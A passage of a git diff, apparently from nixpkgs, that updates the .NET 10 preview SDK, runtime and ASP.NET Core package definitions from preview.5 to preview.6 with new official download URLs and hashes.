+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-linux-arm.tar.gz";
+        hash = "sha512-/mrP2TIr27NliznmIGDFdjriPeeSpDDbRyaM++1gNgJk55NQArHO3KgTMog2d5XlnTgkp03lH5lk3FQKgU2RiQ==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-linux-arm64.tar.gz";
-        hash = "sha512-rJnr7E56vWYKJzF9N9pWrh+o6evb9KiP5fm+WOH01+jwW+wy1ekCwP3R6dniUM20lEgmZoIBDkz39GQPlpm58Q==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-linux-arm64.tar.gz";
+        hash = "sha512-iGZ9ZtkKq6MGSfhNENBX2nwNtHnNs2t2gk3I4PAqRKa/XSaddNqg1reDdvLcZrYCOFWCZ1VeLO1Ay9BqrHRdag==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-linux-x64.tar.gz";
-        hash = "sha512-bmmoX34YuO67X5mn6Amdsvpdo0vPB4vsuxI8CGPUvntCUsfPxrIblYX0+ADAWKEsrlXvKmO5vqiGyj0dig7BEw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-linux-x64.tar.gz";
+        hash = "sha512-FczqQ09eM7SvhyvaANMNP+5ElBE6Hl17HoziBqsKLgk4T6WiI6/d5LlOo7fhK3lsGkUTi+gzKIvWh0GuhD+2yA==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-linux-musl-arm.tar.gz";
-        hash = "sha512-eJ7G3LaAXtcJ8D+s0Z4s8E+uuIQI4kNrx+fnbrZfJzQC9HFM7mDGsI/ZtZE4v/Q7gFll0dXFulhb6uceX/uLTQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-linux-musl-arm.tar.gz";
+        hash = "sha512-HArq8wBlBcK/tkjyViWT9iu3pVsAULbMgecK6cwaNcrbv9VGEXBaGwv4SYqqNV0DeEfJ6nqa2j9YVWiLpqYTSQ==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-linux-musl-arm64.tar.gz";
-        hash = "sha512-sG1ip8UwDEp/x5VDgYDifBJ+lxV4+Ph0yMbXM74rZF77WbYz2I9mWMo028vItolnXLNlGmElmCBPwqW65B02HQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-linux-musl-arm64.tar.gz";
+        hash = "sha512-CH7Qk+rFkx3YjOnIF1Q/rEp/sAcF/+cet1U6/QoVtQfrWmO46FDhT+SI3t17OaCshkmaFU5oSBWpnBIjr1NJ0A==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-linux-musl-x64.tar.gz";
-        hash = "sha512-yZiYPbLNXoujcDkAhzkp2T8P+MalG0ZaJwNZcrp38MGactPLhULdsy/s0edro5cWJzkaLgD1qf4d985kg5LTFw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-linux-musl-x64.tar.gz";
+        hash = "sha512-bU2Jk/BySlwwy7XDR9ovxoct3HUdvGykOI5/umDVFiZhk5g6mErGv+h5tEh4j3e6+1C5mWfe+6QD9E7j/ycx7Q==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-osx-arm64.tar.gz";
-        hash = "sha512-YjtaKT+Y3TXTBfMRKBeSoavZzlV/MaZnOUPyC5KObqkYB2rY8hmD7FFIIGv6TAiY7o2SbflJJYOMzhGur2pVJA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-osx-arm64.tar.gz";
+        hash = "sha512-VlWHBJhm7w4JIR0SLJUOPYfzvCL/dA5NVQYY1ppidjuN12bBNcC95Px8zLqmTzMhQrSQ0P1ClOTFjimCB49yBA==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-osx-x64.tar.gz";
-        hash = "sha512-IxZn7c9uc0JAwKj0DrtCjntWhcUYW6H6UNX1By7YZTP56UtpVRyL9sFtpN5N/UmA5qwl8QShzBUYp5I5m/ImjQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-osx-x64.tar.gz";
+        hash = "sha512-c2tCqqrbhlRIvM/bOO2KlmCELsmPS4Trexq/E6imjPsWbx8dHZt6viROKAC0BwPUsxpQO+o2NZc5oEHjMsZSXQ==";
       };
     };
   };
 
   runtime_10_0 = buildNetRuntime {
-    version = "10.0.0-preview.5.25277.114";
+    version = "10.0.0-preview.6.25358.103";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-linux-arm.tar.gz";
-        hash = "sha512-2SlNCqSiJOGnarCGhNgnWAhBtFoNlpU8MX70/ThYwIUkRVswJzT3btfVyUCyEv0Rb3pfExf3pEY6rb7JEJia7g==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-linux-arm.tar.gz";
+        hash = "sha512-dkFn08ZTnl3/nj8Qh+pAs3urJy9+bB3gyGLXak0MNEUnmbRY6fpwMprijsbQfWtiSz9b0KooEubn7I+PavI7hw==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-linux-arm64.tar.gz";
-        hash = "sha512-muJNZSjDAkL1N/LT462JuH6+R7rUQf1nMN9SZNE1pjcFchtn9DTiJRgJATslrbLjc01lDiM+bIccV51xMkCmUA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-linux-arm64.tar.gz";
+        hash = "sha512-cbydt+UH85l1JsTzkzkUYA+Q8AAxxhc1nzuAtyuBiljcgEpe2zTGt8qx4WVx6FVVRZUNGgcgv/WzGsY3RP204w==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-linux-x64.tar.gz";
-        hash = "sha512-7CHv9RsPi558nAC2zJ6c3YEJl8nSwZhwQsSM3Wv25AwlUqy/zaQFxWs8595Ss6IOa5HwaMbkvRAbiWwwKjK18g==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-linux-x64.tar.gz";
+        hash = "sha512-f+rKqGVeFFIdtrqaeGByN38GOGTkGMXk9ep5kjop9HJO9u0WB0VFnuAo8ZJ5r6HA/t6atpM3IgiQnu+HM8oDZA==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-linux-musl-arm.tar.gz";
-        hash = "sha512-N7OLXKaeLLvdz69NfC0fZS5WNo88S8qELIzYH6EIolr79amshYVjY+puDhDIXOwDz/V+ZBaQ7d3wk48X03neMg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-linux-musl-arm.tar.gz";
+        hash = "sha512-XXF9htD5Vt8lgTAnA9TYSNyBQjHnEpOgkOr1axgUYIRUOj1GcOQxDrkPOS4YKtAHycx8wfRRTQ76nfO2XRCD8Q==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-linux-musl-arm64.tar.gz";
-        hash = "sha512-EPWk90PYeVaI+rG55zbNduBL7LWlaQPZYHzXaUyBoKrO6Uj6URvkY+fXGe+KqpzNkJnvKmoPFdlV0jjOCRn8nA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-linux-musl-arm64.tar.gz";
+        hash = "sha512-4mP7M8JBvsvY8vemP5tfQSPBpmfFVEfwOiSc/1SRs4pt+mKEURwPxidFxp8wK0ytnICIwnAJNYLX28p6LsZdCg==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-linux-musl-x64.tar.gz";
-        hash = "sha512-cWsBVZtEMgwSRFnEYdyb56I5G2gOybpGoi93pzfrk8TjMjpzsRON3RV03MUJNMgq33q+eS1rvZU7iup5BhmUHw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-linux-musl-x64.tar.gz";
+        hash = "sha512-zf3Ek3pbRF4rjuks2odZedJWiUjdX+fQH4QwW2Mh3KZNZ+1hqYweccbaHu2CLwddC7BBBVGuyw+PPhMThDZ2qA==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-osx-arm64.tar.gz";
-        hash = "sha512-i5UP3wmfNAIsuxGuLnNvo2081+EXIwlxIw6z4M2z0z82tD+H7m+MB2fFbmYZBmZnvPyOJnpvQWllucN7DJIVLw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-osx-arm64.tar.gz";
+        hash = "sha512-zXzElKrtYs2r8Sh6CMvDoPKPMRLoluA37YLYRdZThzJ+I0UlvxwESbA+8hhSM9RWL7Wfv9GdXyjaPgpnE3RTdw==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-osx-x64.tar.gz";
-        hash = "sha512-uGB/aI7PBs+fspUEU4PXVlvCyQV+eQ93FqKsLQVsmva1o9ZC2Cob9PgnJ+C29rBmxy4sVO2Wn8Wt6jiEHYhAjA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-osx-x64.tar.gz";
+        hash = "sha512-lm3Eezqhx6qSOzVI2IdkiCNpKwU/CT5PJrhmu/WAmx3W7zi9LC5RpOgPBsXb5K7Q21uuVSrZgmRi+sMOpormFg==";
       };
     };
   };
 
   sdk_10_0_1xx = buildNetSdk {
-    version = "10.0.100-preview.5.25277.114";
+    version = "10.0.100-preview.6.25358.103";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-linux-arm.tar.gz";
-        hash = "sha512-G7cuus8JCj/DTdExGtY05PsA6kUjIKpo1iq7+DEhUYta5CucGJX7gE9Vz6zseAlcryPAzPRNAHaRLH46WgAXhg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-linux-arm.tar.gz";
+        hash = "sha512-lYjjTcixBEvdjpzqH9DWtWf+3w3br0iXsVOrmz6TrElXRXgQ+p7NfaTVo22KBbxItnCv0PUtTVbRQPdCoEOCCg==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-linux-arm64.tar.gz";
-        hash = "sha512-6Z8DhYuv+htB5n62KRt+nraPyJJkCXlNRBaYIJK36ANW5VR753m3dCFsHseu4ja2R0Vny3wNgV7NGevHGwf5cQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-linux-arm64.tar.gz";
+        hash = "sha512-cwFkPqL72yWCUmxtRpnTy2V/bJDjzn8nRq1RwyCoSDwoDToV/C4HJgWyvf52NpBjo4T/Ydef+WRBg+SyHBundA==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-linux-x64.tar.gz";
-        hash = "sha512-TvO8F3u6p7o4zreM8BCbrM6h9EMs2MUuPXiyN81akr1mDpJndANqL8tRF19I/+vIpl3KVruQW8jtTy7P2MFceQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-linux-x64.tar.gz";
+        hash = "sha512-ZivWGncnWokxhq7VsKbmamE9M2V/cQJqJ/dl8RlreOPzoq2ljhs34Prqw5qDd7Pps7zqK3LFsG3V2YSK2Yc/Pw==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-linux-musl-arm.tar.gz";
-        hash = "sha512-3kPLgWklkf9lCKm+4ZEH/gPmVRYz8D/WF88poU5RQtvcrtne1Aan6DnznY0PtLaqF0nCySW2PJPMFWdCBnmwwQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-linux-musl-arm.tar.gz";
+        hash = "sha512-9E/Akg2mqGl07lLa7ODP/oyJEZPOmp1ob9k+gXiB7CSLkT5xdF7ldqZb9P3BZQZxivkERM7g9wFPuJZ6k6bMyA==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-linux-musl-arm64.tar.gz";
-        hash = "sha512-xQhcU5dKu5lJp3TuYTuyLKoiu1EIgylqpeDPlZD08Tvg4ucHTkBU+bG/CdINCPL/IjWUSV6Vb77q6FxQjH8Vlg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-linux-musl-arm64.tar.gz";
+        hash = "sha512-xK/vp5j5cN3jplkjwCZItn87VU5Rp94TstKSRoQ3EtCGRcj8IjpAi9N+Df17+HWA0EaM+nQAlexbNbknQG+Lnw==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-linux-musl-x64.tar.gz";
-        hash = "sha512-ueSPDBuLIz8L7Rjv2E3DWz3/T2yEBSycykD8cBo00dhnRN6sDxVckc68PlQnYXCtC1Haeo5z5Zen09JGcmCMGA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-linux-musl-x64.tar.gz";
+        hash = "sha512-LCj610mZoxlInz08MT41eSP+UaQCG+01OZeA8trqlZzehNkYNdHjEMk71LfLaV+xT29lAa0LFmF0L/xYAVNiaQ==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-osx-arm64.tar.gz";
-        hash = "sha512-GFo+NBuSi6GyGPt2n7DYz9cWLFZ8zUaSj/znTWBpugxJHkTpBihVM1KDp0fpla9EUp62/OBtPAnFybCmIsOTYA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-osx-arm64.tar.gz";
+        hash = "sha512-xDIGEqUUEXVSocsTu6RBc72L25UGwTtLmmeumrCziq1+zU5d0dTDIwukn7luzRSyrzQWkp52UcXJkMv3ber7mg==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-osx-x64.tar.gz";
-        hash = "sha512-yvcOuvEYL9gD5goF8veTq29pAuw2W9lLCZAmeXCfsq72EioDJW2005NvM7mPZGI+jtoMZM+K6QKCnCPnRZhxSA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-osx-x64.tar.gz";
+        hash = "sha512-rWlkOrW5A00BlxcOx+TusNgSzeXwKKHq8X+w8gnOKyUZMrJBKNsMVfBXs+mv9n14vLBFmAiT+B2WlQMjYRpnlQ==";
       };
     };
     inherit commonPackages hostPackages targetPackages;
diff --git a/pkgs/development/compilers/dotnet/10/deps.json b/pkgs/development/compilers/dotnet/10/deps.json
index 83ea7f516a81..6a0248680962 100644
--- a/pkgs/development/compilers/dotnet/10/deps.json
+++ b/pkgs/development/compilers/dotnet/10/deps.json
@@ -1,50 +1,50 @@
 [
   {
     "pname": "runtime.linux-arm64.Microsoft.NETCore.ILAsm",
-    "sha256": "1ddbad5cdb2cd9ae46210b857a51b7600bd9c0486fffdf2eec7b706cad3a5dc0",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ilasm/10.0.0-preview.5.25265.107/runtime.linux-arm64.microsoft.netcore.ilasm.10.0.0-preview.5.25265.107.nupkg",
-    "version": "10.0.0-preview.5.25265.107"
+    "sha256": "ac90a9d11e9397e6e3dff022f99459d0666e2d29e899ac06471e860ae5173980",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ilasm/10.0.0-preview.6.25302.104/runtime.linux-arm64.microsoft.netcore.ilasm.10.0.0-preview.6.25302.104.nupkg",
+    "version": "10.0.0-preview.6.25302.104"
   },
   {
     "pname": "runtime.linux-arm64.Microsoft.NETCore.ILDAsm",
-    "sha256": "c0007a54f1131ce85bf5505ab43ba789f54e32473025b3c0b0e70d284f69ab98",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ildasm/10.0.0-preview.5.25265.107/runtime.linux-arm64.microsoft.netcore.ildasm.10.0.0-preview.5.25265.107.nupkg",
-    "version": "10.0.0-preview.5.25265.107"
+    "sha256": "c5a904d430cbe6014fea6ace35a339838f598ac2560ab741ecc085a00f37ae49",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ildasm/10.0.0-preview.6.25302.104/runtime.linux-arm64.microsoft.netcore.ildasm.10.0.0-preview.6.25302.104.nupkg",
+    "version": "10.0.0-preview.6.25302.104"
   },
   {
-    "hash": "sha256-rXwgVbPq3Pcg7uW3g33YXKZVcsV6FpVStDj3Bj5GehA=",
+    "hash": "sha256-Nupnw/U9dxLxWNqETTtxyvJhuuGDPyU+ksmZ+qwSkxk=",
     "pname": "runtime.linux-x64.Microsoft.NETCore.ILAsm",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ilasm/10.0.0-preview.5.25265.107/runtime.linux-x64.microsoft.netcore.ilasm.10.0.0-preview.5.25265.107.nupkg",
-    "version": "10.0.0-preview.5.25265.107"
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ilasm/10.0.0-preview.6.25302.104/runtime.linux-x64.microsoft.netcore.ilasm.10.0.0-preview.6.25302.104.nupkg",
+    "version": "10.0.0-preview.6.25302.104"
   },
   {
-    "hash": "sha256-kxlWQfdAFHyG+0bbIXfRJLC5Lqdexmbg3C6TJvxrQgs=",
+    "hash": "sha256-QHSni2ad7MQEQoCMRPWTtwmMOTZaDWn/CZbUanLAc2Y=",
     "pname": "runtime.linux-x64.Microsoft.NETCore.ILDAsm",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ildasm/10.0.0-preview.5.25265.107/runtime.linux-x64.microsoft.netcore.ildasm.10.0.0-preview.5.25265.107.nupkg",
-    "version": "10.0.0-preview.5.25265.107"
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ildasm/10.0.0-preview.6.25302.104/runtime.linux-x64.microsoft.netcore.ildasm.10.0.0-preview.6.25302.104.nupkg",
+    "version": "10.0.0-preview.6.25302.104"
   },
   {
     "pname": "runtime.osx-arm64.Microsoft.NETCore.ILAsm",
-    "sha256": "6a92974d09a17d1c8877ba6d2240098a5bc3ff7e8402bfd0a954ed5c3c08cc5b",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ilasm/10.0.0-preview.5.25265.107/runtime.osx-arm64.microsoft.netcore.ilasm.10.0.0-preview.5.25265.107.nupkg",
-    "version": "10.0.0-preview.5.25265.107"
+    "sha256": "06130621565ec2be89c86e322af5abc095c4efe0334f8dfc3ea43695c1ed9893",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ilasm/10.0.0-preview.6.25302.104/runtime.osx-arm64.microsoft.netcore.ilasm.10.0.0-preview.6.25302.104.nupkg",
+    "version": "10.0.0-preview.6.25302.104"
   },
   {
     "pname": "runtime.osx-arm64.Microsoft.NETCore.ILDAsm",
-    "sha256": "9c184f7bbd1604574ca85861f7b56eb23995512fa5794fa59ad2bd351878e3d3",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ildasm/10.0.0-preview.5.25265.107/runtime.osx-arm64.microsoft.netcore.ildasm.10.0.0-preview.5.25265.107.nupkg",
-    "version": "10.0.0-preview.5.25265.107"
+    "sha256": "43da2ec6d8351784865e8a18113f2c90211c13966d352765316b5d5c9f4b3cbd",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ildasm/10.0.0-preview.6.25302.104/runtime.osx-arm64.microsoft.netcore.ildasm.10.0.0-preview.6.25302.104.nupkg",
+    "version": "10.0.0-preview.6.25302.104"
   },
   {
     "pname": "runtime.osx-x64.Microsoft.NETCore.ILAsm",
-    "sha256": "58baffa553eea84d182a2bfdc231e78bde3515f0077198a4853eadc40dc8e70b",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ilasm/10.0.0-preview.5.25265.107/runtime.osx-x64.microsoft.netcore.ilasm.10.0.0-preview.5.25265.107.nupkg",
-    "version": "10.0.0-preview.5.25265.107"
+    "sha256": "0234d829a2e019b4b3f87b93c068c14cc3d71be6d489a3c8e4c358f9a1609d36",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ilasm/10.0.0-preview.6.25302.104/runtime.osx-x64.microsoft.netcore.ilasm.10.0.0-preview.6.25302.104.nupkg",
+    "version": "10.0.0-preview.6.25302.104"
   },
   {
     "pname": "runtime.osx-x64.Microsoft.NETCore.ILDAsm",
-    "sha256": "80f8dc69af1b0cd55093b8a743598cb400be721050d20c900726780eb705bf33",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ildasm/10.0.0-preview.5.25265.107/runtime.osx-x64.microsoft.netcore.ildasm.10.0.0-preview.5.25265.107.nupkg",
-    "version": "10.0.0-preview.5.25265.107"
+    "sha256": "ce1b95a1611a442ead51a5a6f33939311a94c20dee287d1aa903b0e1425a5e28",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ildasm/10.0.0-preview.6.25302.104/runtime.osx-x64.microsoft.netcore.ildasm.10.0.0-preview.6.25302.104.nupkg",
+    "version": "10.0.0-preview.6.25302.104"
   }
 ]
diff --git a/pkgs/development/compilers/dotnet/10/release-info.json b/pkgs/development/compilers/dotnet/10/release-info.json
index 872ff7c8b108..49f114107afb 100644
--- a/pkgs/development/compilers/dotnet/10/release-info.json
+++ b/pkgs/development/compilers/dotnet/10/release-info.json
@@ -1,5 +1,5 @@
 {
-  "tarballHash": "sha256-CPQoYRY4inICvVxad/P0bC0HS96wWFW4tSCvL3agWiw=",
-  "artifactsUrl": "https://builds.dotnet.microsoft.com/source-built-artifacts/assets/Private.SourceBuilt.Artifacts.10.0.100-preview.5.25265.107.centos.9-x64.tar.gz",
-  "artifactsHash": "sha256-TTovg4C0TZs3f6vjj7FHLvvspHPEVrDuIXAHdwAJQRI="
+  "tarballHash": "sha256-ffQAL6kerSjdOcd4YsC1374zH2gBDsdWJeBTwEsTUbo=",
+  "artifactsUrl": "https://builds.dotnet.microsoft.com/source-built-artifacts/assets/Private.SourceBuilt.Artifacts.10.0.100-preview.6.25302.104.centos.9-x64.tar.gz",
+  "artifactsHash": "sha256-CEmna8eEx6+8nxThVGnqWkz6DSJOnJWuFrCWzDRoAYo="
 }
diff --git a/pkgs/development/compilers/dotnet/10/release.json b/pkgs/development/compilers/dotnet/10/release.json
index abcdf41c9538..7e368bbb2a0d 100644
--- a/pkgs/development/compilers/dotnet/10/release.json
+++ b/pkgs/development/compilers/dotnet/10/release.json
@@ -1,11 +1,11 @@
 {
-  "release": "10.0.0-preview.5",
+  "release": "10.0.0-preview.6",
   "channel": "10.0",
-  "tag": "v10.0.0-preview.5.25277.114",
-  "sdkVersion": "10.0.100-preview.5.25277.114",
-  "runtimeVersion": "10.0.0-preview.5.25277.114",
-  "aspNetCoreVersion": "10.0.0-preview.5.25277.114",
+  "tag": "v10.0.0-preview.6.25358.103",
+  "sdkVersion": "10.0.100-preview.6.25358.103",
+  "runtimeVersion": "10.0.0-preview.6.25358.103",
+  "aspNetCoreVersion": "10.0.0-preview.6.25358.103",
   "sourceRepository": "https://github.com/dotnet/dotnet",
-  "sourceVersion": "ddf39a1b4690fbe23aea79c78da67004a5c31094",
-  "officialBuildId": "20250527.14"
+  "sourceVersion": "75972a5ba730bdaf7cf3a34f528ab0f5c7f05183",
